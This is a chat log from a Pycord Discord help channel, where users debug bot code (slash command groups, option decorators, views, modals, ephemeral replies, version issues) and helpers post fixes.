and i want to make it so when an admin closes the ticket, the transcript gets send to the person that made the ticket

sage tendon
#

thats different from sending it to everyone in the channel tho

low solar
#

mb

#

i tried using "for member in interaction.TextChannel.members:" but yea it doesnt work

sage tendon
#

does a bot make the ticket thread, or the user themselves?

low solar
#

i tried using for member in interaction.TextChannel.members and just ignoring everyone that has administator permissions

sage tendon
#

well, do you save the ticket creator ID anywhere? if yes, just use that to get or fetch the member and DM them

low solar
#

i dont fetch it anywhere, could i somehow use TextChannel.members and just exclude everyone that has administator permissions?

sage tendon
#

sure

#

But is it a thread or its own channel? if its a channel id highly recommend going to threads just as a sidenote

sage tendon
#

its interaction.channel

round heart
#

Confused, though - first you say you are sending a transcript to the person that initiated (so one DM). So what's the bit about it 'ignoring' Administrators?

sage tendon
#

that way they wanna get the ticket "owner" without saving them anywhere

sage tendon
round heart
#

I feel like the bot should have some sort of internal 'Ticket' structure that holds onto that info at least until it's closed. (Since you can do things like easily iterate over active tickets, etc). But might be beyond the scope of the question.

low solar
#

everything works now how i wanted it to

#

thanks alot

stray pasture
#

What is the best way for the bot to consume messages from a Queue as a background task ?

#

I know there is the ```@tasks.loop(seconds=x)

#

but not sure it is the best option

shell radish
#

what does consume mean in this senario

stray pasture
#

some event are happening in the bot, there are added to a Queue. Consume is just getting a element from the queue and processing it

thick agate
#

Anyone who knows why im getting this: ImportError: cannot import name 'tasks' from 'discord.ext' (unknown location)

shell radish
stray pasture
shell radish
thick agate
thick agate
shell radish
#

you can have multiple pythons

#

so how you access each one could be different

thick agate
#

Ah ok, its working now so thank you 🫡

shell radish
#

yay

frail ocean
#

Can someone tell me why this doesnt trigger
on_shard_ready or on_shard_connect?

shell radish
#

because you are probably already connected to the shard?

maiden bloom
#

Any idea why I would get this error? Happening while the bot was running normally and crashed because of this:

jailbot_feature_discord-1  |     bot.run(TOKEN)
jailbot_feature_discord-1  |   File "/usr/local/lib/python3.10/site-packages/discord/client.py", line 766, in run
jailbot_feature_discord-1  |     return future.result()
jailbot_feature_discord-1  |   File "/usr/local/lib/python3.10/site-packages/discord/client.py", line 745, in runner
jailbot_feature_discord-1  |     await self.start(*args, **kwargs)
jailbot_feature_discord-1  |   File "/usr/local/lib/python3.10/site-packages/discord/client.py", line 709, in start
jailbot_feature_discord-1  |     await self.connect(reconnect=reconnect)
jailbot_feature_discord-1  |   File "/usr/local/lib/python3.10/site-packages/discord/shard.py", line 475, in connect
jailbot_feature_discord-1  |     raise item.error
jailbot_feature_discord-1  |   File "/usr/local/lib/python3.10/site-packages/discord/shard.py", line 180, in worker
jailbot_feature_discord-1  |     await self.ws.poll_event()
jailbot_feature_discord-1  |   File "/usr/local/lib/python3.10/site-packages/discord/gateway.py", line 603, in poll_event
jailbot_feature_discord-1  |     await self.received_message(msg.data)
jailbot_feature_discord-1  |   File "/usr/local/lib/python3.10/site-packages/discord/gateway.py", line 555, in received_message
jailbot_feature_discord-1  |     func(data)
jailbot_feature_discord-1  |   File "/usr/local/lib/python3.10/site-packages/discord/state.py", line 818, in parse_interaction_create
jailbot_feature_discord-1  |     interaction = Interaction(data=data, state=self)
jailbot_feature_discord-1  |   File "/usr/local/lib/python3.10/site-packages/discord/interactions.py", line 171, in __init__
jailbot_feature_discord-1  |     self._from_data(data)
jailbot_feature_discord-1  |   File "/usr/local/lib/python3.10/site-packages/discord/interactions.py", line 201, in _from_data
jailbot_feature_discord-1  |     self._guild = Guild(data=self._guild_data, state=self)
jailbot_feature_discord-1  | NameError: name 'Guild' is not defined. Did you mean: 'guild'?
little cobalt
#

jailbot?

maiden bloom
#

What about it

little cobalt
#

Just wonder why it got that name

sage tendon
#

show the code that caused the error

maiden bloom
#

None of that is my code except for the bot.run(TOKEN) and I know that works because the bot was running lol

sage tendon
#

above.

maiden bloom
sage tendon
#

the first few lines of the stacktrace

sage tendon
maiden bloom
#

It's a little different than a timeout. I can send you the page for it if you want

maiden bloom
#

I need to figure out how to save log files between crashes

#

/reboots

sage tendon
sage tendon
#

pycord version?

maiden bloom
#

2.5.1 whatever the latest is

#

I can double check

little cobalt
#

do it pls

sage tendon
#

2.5.0 is the latest

maiden bloom
#

Yes 2.5.0

little cobalt
#

other question

shell radish
maiden bloom
maiden bloom
shell radish
maiden bloom
shell radish
#

you can downgrade or use master

maiden bloom
sage tendon
#

what causes it squid?

shell radish
#

definitely

shell radish
rugged lodgeBOT
maiden bloom
#

I would downgrade but then I have to change some code because embed.Empty or whatever would work again

shell radish
#

then use master for now

#

you can even specify a specific commit that has the fix

maiden bloom
#

How would I specify that in the requirements.txt file?

shell radish
#

pycord @ git+https://github.com/Pycord-Development/Pycord@{some_commit}

frail ocean
#

the on_shard_disconnect work

rugged lodgeBOT
shell radish
#

that's probably what you are looking for?

maiden bloom
frail ocean
frail basin
#

any ideas why this isnt nested properly?

#

please @ when replying

grizzled loom
frail basin
#

the command simply doesnt show up as seen by the 2nd image

grizzled loom
#

can't see any indentation mistake on your screenshot

frail basin
#
class Punishments(commands.Cog):

    def __init__(self, _bot: CustomBot):
        global bot
        bot = _bot
        self.bot: CustomBot = _bot

    @commands.Cog.listener()
    async def on_ready(self):
        global logger
        global stdout

        logger = logging.getLogger("custom")
        stdout = logging.getLogger("stdout")

        logger.debug(f"✅ {self.qualified_name} module has been loaded.")

    grp = discord.SlashCommandGroup(name="punishment", description="Punishment commands")

    add = discord.SlashCommandGroup(parent=grp, name="add", description="Add a punishment to a user")
    remove = discord.SlashCommandGroup(parent=grp, name="remove", description="Remove a punishment from a user")

    # Warn and Unwarn
    
    @add.command(name="warn", description="Warn a user")
    @commands.dynamic_cooldown(command_cooldown, commands.BucketType.user)
    @commands.check(has_permission)
    async def warn_add(self, ctx: discord.ApplicationContext, steam_id: int, reason: str):
        await ctx.interaction.response.defer(ephemeral=True)
        result = await punish(steamID=steam_id, type="warn", duration=None, reason=reason)
        
        if result is True:
            await ctx.interaction.respond(content=f"Successfully warned `{steam_id}` with reason: `{reason}`", ephemeral = True)
            return
        else:
            await ctx.interaction.respond(content=f"There was an error executing the punishment: " + '\n'.join(result))
#

its supposed to be nested:
/punishment add warn

#

the bot class is just:

class CustomBot(Bot):
    def __init__(self, config, *args, **kwargs):
        super().__init__(None, *args, **kwargs)
        self.config: Config = config
#

so its definetly not that

grizzled loom
#

setup and load extension stuff was adjusted/placed correctly?

frail basin
#

everything else is working correctly

#

other than this

#

actually after taking a second look at the docs, is parent=grp sufficient or would i need to grp.create_subgroup()?

frail laurel
#
class MyView(discord.ui.View):
    def __init__(self, ctx, tresc_komendy):
        super().__init__(timeout=5)
        self.ctx = ctx
        self.tresc_komendy = tresc_komendy

    async def on_timeout(self):
        self.disable_all_items()
        await self.response.edit_message(content="You took too long! Disabled all the components.", view=self)


    @discord.ui.button(emoji=":tak:", label="Potwierdź", style=discord.ButtonStyle.green)
    async def button_callback(self, button, interaction):
        await interaction.response.edit_message(content=":white_check_mark: **Twoja wiadomość została wysłana!**", embed=None, view=None, delete_after=10) 
        new_confession = Confession(self.tresc_komendy, self.ctx.author.id, self.ctx.author.display_name)
        await interaction.channel.send(embed=new_confession.final_message())

    @discord.ui.button(emoji=":nie:", label="Odrzuć", row=0, style=discord.ButtonStyle.red)
    async def second_button_callback(self, button, interaction):
        await interaction.response.edit_message(content=":x: **Anulowanie wysyłania wiadomości...**", embed=None, view=None, delete_after=1)```

**What should I do to "pass" interaction to the on_timeout function?**
Task exception was never retrieved
  File "c:\Users\Desktop\Discord Bot\confession.py", line 12, in on_timeout
    await self.response.edit_message(content="You took too long! Disabled all the components.", view=self)
          ^^^^^^^^^^^^^
AttributeError: 'MyView' object has no attribute 'response'
grizzled loom
#

this should be placed before the order to edit anything is given, so it abborts the process if the attribute isnt there.

#

Does your bot have view channel and send message permissions?
cause within the context of you ApplicationContext, you automatically have those. however, when editing something later on, the channel permissions may not be set in your favor.

#

possibly its better to check for the root source of your problem than execute within an environment where you are not allowed to edit later in the first place

#

Does this make sense to you @frail laurel

frail laurel
frail laurel
# grizzled loom Does this make sense to you <@474215488189104131>

Not really, like how the f- someone new to those docs should know all of this, when even in tutorial nothing important is really provided, and docs aren't user-friendly.

I added on_timeout there, because in tutorial it was said, to add it and apparently there it works

grizzled loom
#

to edits things you need to have those things in code, your invite link, and when it comes to priviliged stuff also the slighter in your api-dashboard thingy, found in discord advanced settings

grizzled loom
#

not exactly sure which intents are needed to edit your own message later on in case the channel permission are against you (e.g. a private channel).
I'd have to read up on the specifics myself.

#

Okay, one possible cause less : D

#

alright, just checked, all does include those as well.

#

However, I'd always include some
if not None
check before editing anything

#

cause there is always the possibillity the message/embed/whatever was deleted by the user before timeout was reached

#

when this happens your bot tries to edit something that does not exist anymore and CABOOM

frail laurel
#

oh

sly ember
#

why is it none

sage tendon
#

because self.bot.pool is none

signal trench
#

Read embeds using on_message ..... Is it possible in pycord ... Like

#

I was able to make it run in discord.py but was not running in pycord.... Does it have a seperate syantx

sage tendon
#

sure, why not

errant trout
mellow spire
#

I want to know that in which latest python version pycord works

sage tendon
#

3.12

mellow spire
#

like a time ago it can't work above 3.10

frail basin
mellow spire
#

it's updated

#

NICE

mellow spire
sage tendon
#

I just tested it lol
and from people here

#

aka the maintainers

mellow spire
#

hmm

frail basin
sage tendon
#

the library wasn't even the problem, its dependencies were

mellow spire
#

lol

frail basin
#

too many issues w my code

mellow spire
#

how to check the version of pycord?

frail basin
#

pypi i guess

#

and #library-updates

mellow spire
#

I couldn't find command to check version

shell radish
#

there’s discord.__version__, pip list, pip freeze, there’s many ways to check for version

mellow spire
#

can you tell me the simple command

shell radish
mellow spire
#

Hmm

#

Got it

fresh sierra
#
    @subcommand(f"{xp_.name} {xp_.setup.name}")
    @commands.slash_command(name=xp_.setup.mode.name, description=xp_.setup.mode.description)
    @option(name=xp_.setup.mode.options.mode.name, description=xp_.setup.mode.options.mode.description, choices=["on", "off"], required=True)
    async def mode(self, ctx: discord.ApplicationContext, mode: str):
#

i tried discord.option but i can add choice or description with it

sage tendon
#

yes, you can

#

it's normal kwargs for the decorator

#

@option is correct

fresh sierra
# sage tendon yes, you can

not with discord.option but with discord.commands.option i didnt copy correctly but the description/choice still doesnt appear

#

i have imported option from discord.commands

sage tendon
#

just import option from discord and use @option

#

I'll check how I did it in a sec but I think that's how

fresh sierra
#

no i just figure it out

#

it was because

#

discord.Option is the object

#

but the shortcut is discord.commands.option

#

who was in conflict with the discord.ext.commands

sage tendon
#

i know, I said the lowercase one is right lol

fresh sierra
#

its not only lowercase

#

it also discord.commands.option

#

and not discord.option

sage tendon
#

yea then I mixed it up

fresh sierra
#

but my error was that i already import commands from discord.ext so it was doing a conflict

#

but after fixing that it work like a charge, i just need to fix the multicog now

shell radish
fresh sierra
fresh sierra
#

(from what i just try 2s ago)

shell radish
#

it’s an alias for discord.commands.option

sage tendon
fresh sierra
sage tendon
#

see the kwargs?

#

bruh

#

name and type are required

fresh sierra
#

yep but i tryied it

sage tendon
#

the rest isn't

shell radish
#

and that thing is scrollable you know

fresh sierra
#

not this one

#

let me try again

sage tendon
fresh sierra
sage tendon
#

of course

shell radish
sage tendon
#

what even happens that makes you say it doesnt work?

fresh sierra
shell radish
fresh sierra
#

and it wasnt showing the description

sage tendon
#

did you restart your discord?

fresh sierra
#

but i guess i maybe put the wrong this

shell radish
fresh sierra
#

maybe why

sage tendon
#

no, it takes 1 discord restart

shell radish
fresh sierra
#

i restarted my discord 3 times

sage tendon
#

no, the updating is almost instant
you just need something to trigger the update

#

Show your code, show your imports, show what you see in discord

shell radish
sage tendon
#

:>

fresh sierra
shell radish
#

if it works with commands.option, then keep it that way

sage tendon
#

example from my own bot

#

and my import is from discord import option

fresh sierra
#

yep it working now, i guess swtich from discord.Option to discord.option too quickly maybe make this glictch

shell radish
#

they aren’t related

sage tendon
#

or you just didnt update it to be lowercase in your import

fresh sierra
#

why put name: "ok" and not name = ""

sage tendon
shell radish
sage tendon
#

name and type are positional

#

the rest are kwargs

fresh sierra
#

i was doing like this

shell radish
#

?tag args vs kwargs

limber wagonBOT
#

dynoError No tag args found.

fresh sierra
#
@subcommand(f"{xp_.name} {xp_.setup.name}")
    @commands.slash_command(name=xp_.setup.mode.name, description=xp_.setup.mode.description)
    @discord.Option(name=xp_.setup.mode.options.mode.name, description=xp_.setup.mode.options.mode.description, choices=["on", "off"], required=True)
    async def mode(self, ctx: discord.ApplicationContext, mode: str):
        mode = True if mode == "on" else False
shell radish
#

:<

sage tendon
#

Option is wrong.

fresh sierra
#

wait

#

it wronglu copy

#

with a lowercase o

#

like this

shell radish
#

type is optional, it’s default to be string

fresh sierra
#

and then swtich cos i was having this glitch

sage tendon
#

the + tells us that that is your new code tho

fresh sierra
#

yes i swtich because it wasnt working correctly

#

but can it be because of the subcommand from pycord multicog

sage tendon
#

you cant use discord.Option as decorator tho for all i know

fresh sierra
#

because i was usinf the wrong group ?

sage tendon
fresh sierra
#

strange to that the slash doesnt appear as subcommand but as command

sage tendon
#

you keep showing us 50 different versions of your code

shell radish
sage tendon
#

also, why discord.Client?

fresh sierra
#

tbh idk why it wasnt working

sage tendon
#

a normal bot is NOT a client

fresh sierra
#

it the 20 times you asked

#

and still the same i always forgot to change this

#

i will do it rn

shell radish
sage tendon
#

Client is only for events, i've recently been told

shell radish
#

it’s a subclass of Client

sage tendon
#

Bot is for, well, a bot

#

and then there's a third one

shell radish
#

you’re not incorrect for hinting Client

fresh sierra
#

before (around pycord 2.0 or something like that commands.bot was not showing everything as discord.Client

#

that way i was using discord.CLient

shell radish
#

all bots are clients, simple as that

fresh sierra
#

but now it look like everything is in it

sage tendon
#

just so summarize again, this is what it should look like

from discord import option


...
@option(name=, ...)

or if you just import discord, then you use discord.option
But if you use decorators for options, you NEVER use discord.Option

fresh sierra
#

is that a bug or im just doing it wrong ?

class XP_Event(commands.Cog):
    def __init__(self, bot):
        self.bot: commands.Bot = bot
    
    xp_group = discord.SlashCommandGroup(name=xp_.name, description=xp_.description, guild_only=True)
    xp_setup_group = xp_group.create_subgroup(name=xp_.setup.name, description=xp_.setup.description)

class Setup_Sub(commands.Cog):
    def __init__(self, bot):
        self.bot: commands.Bot = bot

    @subcommand(f"{xp_.name} {xp_.setup.name}")
    @commands.slash_command(name=xp_.setup.mode.name, description=xp_.setup.mode.description)
    @discord.option(name=xp_.setup.mode.options.mode.name, description=xp_.setup.mode.options.mode.description, choices=["on", "off"], required=True)
    async def mode(self, ctx: discord.ApplicationContext, mode: str):
sage tendon
#

isn't it just @xp_setup_group.command() ?

#

this is how i did it, for only a group in general
but im p sure for a subgroup its the exact same

fresh sierra
#

its with multicog

#

so i cant just do @xp_setup_group.command()

frail ocean
#

Do i have to sync commands manually if i have an on_shard_connect event?

shell radish
frail ocean
shell radish
frail ocean
#

But only on_shard_connect i dont need anything?

shell radish
#

yes

signal trench
sage tendon
#

just read the embeds attribute of the message

#

check the docs for discord.Message

signal trench
sage tendon
#

just look it up in the docs

signal trench
sage tendon
#

is it that hard to use the search in the docs?

lofty parcel
#

It isn't

#

But people like spoonfeeding these days.

sage tendon
#

yea, i wont do that

shell radish
sage tendon
#

from opening a new tab to clicking discord.Message in the search results, it takes me 5 seconds

#

and they literally could have done that same thing 360 times in the time they waited for someone to give a link to them

frail laurel
#

how to access option.name value?

    ctx: discord.ApplicationContext,
    opcja: Option(
        choices=[
            OptionChoice(name="Add"),
            OptionChoice(name="Subtract"),
        ])
    ):
    await ctx.respond(f"**You chose** ({opcja.name})", ephemeral=True)
little cobalt
#

"opcja"

sage tendon
#

gived

frail laurel
sage tendon
#

it doesnt

#

its 1 value

#

the value the user inputs

frail laurel
#

;-;

sage tendon
#

?

frail laurel
sage tendon
#

...what?

#

the variable opcja saves the input

#

not more, not less

#

oh that you mean

shell radish
#

ctx.command.options[0].choices or something

sage tendon
#

or do you want to make the choices a set amount of items you choose?

#

little bit confused lol

sage tendon
frail laurel
sage tendon
#

no....

#

the inputted value is the case

#

so if they choose "Suggestions" (thats the case) you do what you want with that

sage tendon
#

This is why i always tell people to use the decorator

#

The typehint way just confuses people and looks incredibly messy

ebon swift
#

hey , my discord bot project wasn't progressing at all and I'm feeling like jumping on the pycord update to go back onto it, but I'd like to know what's the best path to follow in order to master the library, any suggestions ?

sage tendon
#

read the docs

#

thats all really

round heart
#

Read the docs and just start playing around. I have a little test bot that I use to try out different techniques to apply to my others.

whole needle
#
class CreateUserButtons(View):
    def __init__(self):
        super().__init__(timeout=60)
        self.add_item(Button(label="Continue", style=ButtonStyle.green, custom_id="continue_button"))
        self.add_item(Button(label="Cancel", style=ButtonStyle.red, custom_id="cancel_button"))

    @discord.ui.button(custom_id="continue")
    async def continue_button_callback(self, button: Button, interaction: Interaction):
        if interaction.user.id == 835431172942856232: 
            modal = UserCreationModal(title="SECRETZ User Creation")
            await interaction.response.edit_message(view=modal)
        else:
            await interaction.response.send_message(content=f"<@{interaction.user.id}> You are not the owner!")

    @discord.ui.button(custom_id="cancel")
    async def cancel_button_callback(self, button: Button, interaction: Interaction):
        embed = discord.Embed(
            title="User Creation Cancelled",
            color=discord.Colour.red()
        )
        await interaction.response.edit_message(embed=embed)

class UserCreationModal(discord.ui.Modal):
    def __init__(self, *args, **kwargs) -> None:
        super().__init__(*args, **kwargs)
        self.add_item(
            discord.ui.InputText(label="Email", placeholder="Input Users Email"),
            discord.ui.InputText(label="Username", placeholder="Input Users Discord Username", style=InputTextStyle.short),
            discord.ui.InputText(label="Pin", placeholder="Input Users Pin", style=InputTextStyle.short),
            discord.ui.InputText(label="User ID", placeholder="Input Users Discord User ID", style=InputTextStyle.short)
        )

    async def callback(self, interaction: discord.Interaction):
        payload = {
            "email": self.children[0].value,
            "username": self.children[1].value,
            "pin": self.children[2].value,
            "discorduserid": self.children[3].value
        }
        useraddreq = requests.post(url="http://127.0.0.1:420/api/v1/admin/adduser", json=payload)

        if useraddreq.status_code == 200:
            response = useraddreq.json()
            embed = discord.Embed(
                title="**User Successfully Added",
                description=f"{response}",
                color=discord.Colour.green()
            )
            await interaction.response.send_message(embed=embed)
        elif useraddreq.status_code == 400:
            response = useraddreq.json()
            embed2 = discord.Embed(
                title="**User Already Has A Account",
                description=f"{response}",
                color=discord.Colour.yellow()
            )
            await interaction.response.send_message(embed=embed2)
        else:
            response = useraddreq.text
            embed3 = discord.Embed(
                title="**ERROR",
                description=f"{response}",
                color=discord.Colour.red()
            )
            await interaction.response.send_message(embed=embed3)

@s.slash_command(name="createuser", description="Create User Command")
@commands.has_permissions(administrator=True) 
async def createuser(ctx: discord.ApplicationContext):
    print("Starting createuser command.")
    view = CreateUserButtons()
    await ctx.respond(
        embed=discord.Embed(
            title="Create a New User",
            description="Please provide a username for the new user.",
            color=discord.Colour.red() 
        ),
        view=view
    )
discord.errors.ApplicationCommandInvokeError: Application Command raised an exception: HTTPException: 400 Bad Request (error code: 50035): Invalid Form Body
In data.components.0.components.0.label: This field is required
In data.components.0.components.1.label: This field is required

Ive read the docs and asked ai i cant seem to find a solution

shell radish
#
class CreateUserButtons(View):
    def __init__(self):
        super().__init__(timeout=60)
-       self.add_item(Button(label="Continue", style=ButtonStyle.green, custom_id="continue_button"))
-       self.add_item(Button(label="Cancel", style=ButtonStyle.red, custom_id="cancel_button"))

-   @discord.ui.button(custom_id="continue")
+   @discord.ui.button(label="Continue", style=ButtonStyle.green, custom_id="continue_button")
    async def continue_button_callback(self, button: Button, interaction: Interaction):
        if interaction.user.id == 835431172942856232: 
            modal = UserCreationModal(title="SECRETZ User Creation")
            await interaction.response.edit_message(view=modal)
        else:
            await interaction.response.send_message(content=f"<@{interaction.user.id}> You are not the owner!")

-   @discord.ui.button(custom_id="cancel")
+   @discord.ui.button(label="Cancel", style=ButtonStyle.red, custom_id="cancel_button")
    async def cancel_button_callback(self, button: Button, interaction: Interaction):
        embed = discord.Embed(
            title="User Creation Cancelled",
            color=discord.Colour.red()
        )
        await interaction.response.edit_message(embed=embed)
sage tendon
#

wow

#

that is

shell radish
#

because that's just not how you create a button

sage tendon
#

a lot of code

shell radish
#

@whole needle

sage tendon
#

chill bruh

whole needle
#
Traceback (most recent call last):
  File "C:\Users\jarex\AppData\Local\Programs\Python\Python310\lib\site-packages\discord\ui\view.py", line 426, in _scheduled_task
    await item.callback(interaction)
  File "C:\Users\jarex\Downloads\Jarexs Tools\Secretz\bot\bot.py", line 33, in continue_button_callback   
    modal = UserCreationModal(title="SECRETZ User Creation")
  File "C:\Users\jarex\Downloads\Jarexs Tools\Secretz\bot\bot.py", line 49, in __init__
    self.add_item(
TypeError: Modal.add_item() takes 2 positional arguments but 5 were given```

now i get this when i press continue
rugged lodgeBOT
shell radish
#

yeah you add one at a time

#

so

self.add_item(...)
self.add_item(...)
self.add_item(...)
self.add_item(...)
self.add_item(...)
...
whole needle
#

oh yeah lmao TY! 🙂

shell radish
#

yw :)

whole needle
#
discord.errors.HTTPException: 400 Bad Request (error code: 50035): Invalid Form Body
In data.components.0.components.0: Value of field "type" must be one of (2, 3, 5, 6, 7, 8).
In data.components.1.components.0: Value of field "type" must be one of (2, 3, 5, 6, 7, 8).
In data.components.2.components.0: Value of field "type" must be one of (2, 3, 5, 6, 7, 8).
In data.components.3.components.0: Value of field "type" must be one of (2, 3, 5, 6, 7, 8).

what 😭

shell radish
#

which line is this?

whole needle
#
Ignoring exception in view <CreateUserButtons timeout=60 children=2> for item <Button style=<ButtonStyle.success: 3> url=None disabled=False label='Continue' emoji=None row=None>:
Traceback (most recent call last):
  File "C:\Users\jarex\AppData\Local\Programs\Python\Python310\lib\site-packages\discord\ui\view.py", line 426, in _scheduled_task
    await item.callback(interaction)
  File "C:\Users\jarex\Downloads\Jarexs Tools\Secretz\bot\bot.py", line 34, in continue_button_callback   
    await interaction.response.edit_message(view=modal)
  File "C:\Users\jarex\AppData\Local\Programs\Python\Python310\lib\site-packages\discord\interactions.py", line 1082, in edit_message
    await self._locked_response(
  File "C:\Users\jarex\AppData\Local\Programs\Python\Python310\lib\site-packages\discord\interactions.py", line 1243, in _locked_response
    await coro
  File "C:\Users\jarex\AppData\Local\Programs\Python\Python310\lib\site-packages\discord\webhook\async_.py", line 222, in request
    raise HTTPException(response, data)
discord.errors.HTTPException: 400 Bad Request (error code: 50035): Invalid Form Body
In data.components.0.components.0: Value of field "type" must be one of (2, 3, 5, 6, 7, 8).
In data.components.1.components.0: Value of field "type" must be one of (2, 3, 5, 6, 7, 8).
In data.components.2.components.0: Value of field "type" must be one of (2, 3, 5, 6, 7, 8).
In data.components.3.components.0: Value of field "type" must be one of (2, 3, 5, 6, 7, 8).
#
class CreateUserButtons(View):
    def __init__(self):
        super().__init__(timeout=60)

    @discord.ui.button(label="Continue", style=ButtonStyle.green, custom_id="continue_button")
    async def continue_button_callback(self, button: Button, interaction: Interaction):
        if interaction.user.id == 835431172942856232: 
            modal = UserCreationModal(title="SECRETZ User Creation")
            await interaction.response.edit_message(view=modal)
        else:
            await interaction.response.send_message(content=f"<@{interaction.user.id}> You are not the owner!")

    @discord.ui.button(label="Cancel", style=ButtonStyle.red, custom_id="cancel_button")
    async def cancel_button_callback(self, button: Button, interaction: Interaction):
        embed = discord.Embed(
            title="User Creation Cancelled",
            color=discord.Colour.red()
        )
        await interaction.response.edit_message(embed=embed)

class UserCreationModal(discord.ui.Modal):
    def __init__(self, *args, **kwargs) -> None:
        super().__init__(*args, **kwargs)
        self.add_item(discord.ui.InputText(label="Email", placeholder="Input Users Email"))
        self.add_item(discord.ui.InputText(label="Username", placeholder="Input Users Discord Username", style=InputTextStyle.short))
        self.add_item(discord.ui.InputText(label="Pin", placeholder="Input Users Pin", style=InputTextStyle.short))
        self.add_item(discord.ui.InputText(label="User ID", placeholder="Input Users Discord User ID", style=InputTextStyle.short))

    async def callback(self, interaction: discord.Interaction):
        payload = {
            "email": self.children[0].value,
            "username": self.children[1].value,
            "pin": self.children[2].value,
            "discorduserid": self.children[3].value
        }
        useraddreq = requests.post(url="http://127.0.0.1:420/api/v1/admin/adduser", json=payload)

        if useraddreq.status_code == 200:
            response = useraddreq.json()
            embed = discord.Embed(
                title="**User Successfully Added",
                description=f"{response}",
                color=discord.Colour.green()
            )
            await interaction.response.send_message(embed=embed)
        elif useraddreq.status_code == 400:
            response = useraddreq.json()
            embed2 = discord.Embed(
                title="**User Already Has A Account",
                description=f"{response}",
                color=discord.Colour.yellow()
            )
            await interaction.response.send_message(embed=embed2)
        else:
            response = useraddreq.text
            embed3 = discord.Embed(
                title="**ERROR",
                description=f"{response}",
                color=discord.Colour.red()
            )
            await interaction.response.send_message(embed=embed3)

@s.slash_command(name="createuser", description="Create User Command")
@commands.has_permissions(administrator=True) 
async def createuser(ctx: discord.ApplicationContext):
    print("Starting createuser command.")
    view = CreateUserButtons()
    await ctx.respond(
        embed=discord.Embed(
            title="Create a New User",
            description="Please provide a username for the new user.",
            color=discord.Colour.red() 
        ),
        view=view
    )

lethal loom
#

When its not ephr

    @tempy_cmd.command()
    @commands.has_permissions(administrator=True)
    @commands.cooldown(1, 10, commands.BucketType.user)
    @discord.guild_only()
    async def menu(self, ctx):
        await ctx.defer()
        ...
        await ctx.respond(embed=embed, view=view, ephemeral=True)
#

its sends as a normal msg

shell radish
#

?tag ephemeral

limber wagonBOT
#

An 'ephemeral' message is one that's only visible to the person who invoked a command. If you ever got a command error with a blue background, this is an example of one.

To do this, set ephemeral=True when you first use an ApplicationContext. (This includes .defer()ing it; the choice of whether a message is ephemeral or not must be made up front. If you .respond() to a deferred message, setting the ephemeral flag at that time will have no effect.)

This is the equivalent of hidden=True if you're coming from interactions.py

e.g.

await ctx.respond("Imagine a message!", ephemeral = True)

await interaction.response.send_message("Imagine a message!", ephemeral = True)
shell radish
lethal loom
#

Ah okay thx

#

i needd to do so?
await ctx.respond(embed=embed, view=view, hidden=True)

shell radish
# whole needle ```py Ignoring exception in view <CreateUserButtons timeout=60 children=2> for i...
class UserCreationModal(discord.ui.Modal):
    def __init__(self, *args, **kwargs) -> None:
-        super().__init__(*args, **kwargs)
-        self.add_item(
-           discord.ui.InputText(label="Email", placeholder="Input Users Email"),
-           discord.ui.InputText(label="Username", placeholder="Input Users Discord Username", style=InputTextStyle.short),
-           discord.ui.InputText(label="Pin", placeholder="Input Users Pin", style=InputTextStyle.short),
-           discord.ui.InputText(label="User ID", placeholder="Input Users Discord User ID", style=InputTextStyle.short)
+       super().__init__(
+           discord.ui.InputText(label="Email", placeholder="Input Users Email"),
+           discord.ui.InputText(label="Username", placeholder="Input Users Discord Username", style=InputTextStyle.short),
+           discord.ui.InputText(label="Pin", placeholder="Input Users Pin", style=InputTextStyle.short),
+           discord.ui.InputText(label="User ID", placeholder="Input Users Discord User ID", style=InputTextStyle.short)
        )
``` this should work
shell radish
whole needle
#
class UserCreationModal(discord.ui.Modal):
    def __init__(self, *args, **kwargs) -> None:
        super().__init__(
        self.add_item(discord.ui.InputText(label="Email", placeholder="Input Users Email")),
        self.add_item(discord.ui.InputText(label="Username", placeholder="Input Users Discord Username", style=InputTextStyle.short)),
        self.add_item(discord.ui.InputText(label="Pin", placeholder="Input Users Pin", style=InputTextStyle.short)),
        self.add_item(discord.ui.InputText(label="User ID", placeholder="Input Users Discord User ID", style=InputTextStyle.short))
        )
``` like this?
lethal loom
#

ah i understand thx

whole needle
#

oh wait yes im blind lol

#
Ignoring exception in view <CreateUserButtons timeout=60 children=2> for item <Button style=<ButtonStyle.success: 3> url=None disabled=False label='Continue' emoji=None row=None>:
Traceback (most recent call last):
  File "C:\Users\jarex\AppData\Local\Programs\Python\Python310\lib\site-packages\discord\ui\view.py", line 426, in _scheduled_task
    await item.callback(interaction)
  File "C:\Users\jarex\Downloads\Jarexs Tools\Secretz\bot\bot.py", line 33, in continue_button_callback
    modal = UserCreationModal(title="SECRETZ User Creation")
  File "C:\Users\jarex\Downloads\Jarexs Tools\Secretz\bot\bot.py", line 48, in __init__
    super().__init__(
TypeError: Modal.__init__() missing 1 required keyword-only argument: 'title'

bro the errors keep coming

#

@shell radish

shell radish
#

yeah now add a title

#

like

        super().__init__(
           title = "My Great Modal Magic Thing"
           discord.ui.InputText(label="Email", placeholder="Input Users Email"),
           discord.ui.InputText(label="Username", placeholder="Input Users Discord Username", style=InputTextStyle.short),
           discord.ui.InputText(label="Pin", placeholder="Input Users Pin", style=InputTextStyle.short),
           discord.ui.InputText(label="User ID", placeholder="Input Users Discord User ID", style=InputTextStyle.short)
        )
whole needle
#
super().__init__(
            title="SECRETZ User Creation",
            discord.ui.InputText(label="Email", placeholder="Input Users Email"),
            discord.ui.InputText(label="Username", placeholder="Input Users Discord Username", style=InputTextStyle.short),
            discord.ui.InputText(label="Pin", placeholder="Input Users Pin", style=InputTextStyle.short),
            discord.ui.InputText(label="User ID", placeholder="Input Users Discord User ID", style=InputTextStyle.short)
        )
#

Positional argument cannot appear after keyword argumentsPylance

edgy nest
#

put it after

whole needle
#

discord.errors.HTTPException: 400 Bad Request (error code: 50035): Invalid Form Body
In data.components.0.components.0: Value of field "type" must be one of (2, 3, 5, 6, 7, 8).
In data.components.1.components.0: Value of field "type" must be one of (2, 3, 5, 6, 7, 8).
In data.components.2.components.0: Value of field "type" must be one of (2, 3, 5, 6, 7, 8).
In data.components.3.components.0: Value of field "type" must be one of (2, 3, 5, 6, 7, 8).

this again 😭

errant trout
weary meteor
#

how can i structure my embed with fields sort of like this: field_1 and field_2 on the same line, field_3 and field_4 together on the next line

#

i hate dealing with inline nonsense

mellow spire
#

from where i import types

fresh sierra
#

it look like from discord

#

or discord.integration

fresh sierra
mellow spire
#

but i don't know why i got this error 1000 times
discord.errors.ApplicationCommandInvokeError: Application Command raised an exception: TypeError: 'method' object is not iterable

mellow spire
fresh sierra
#

yes

mellow spire
#
import discord
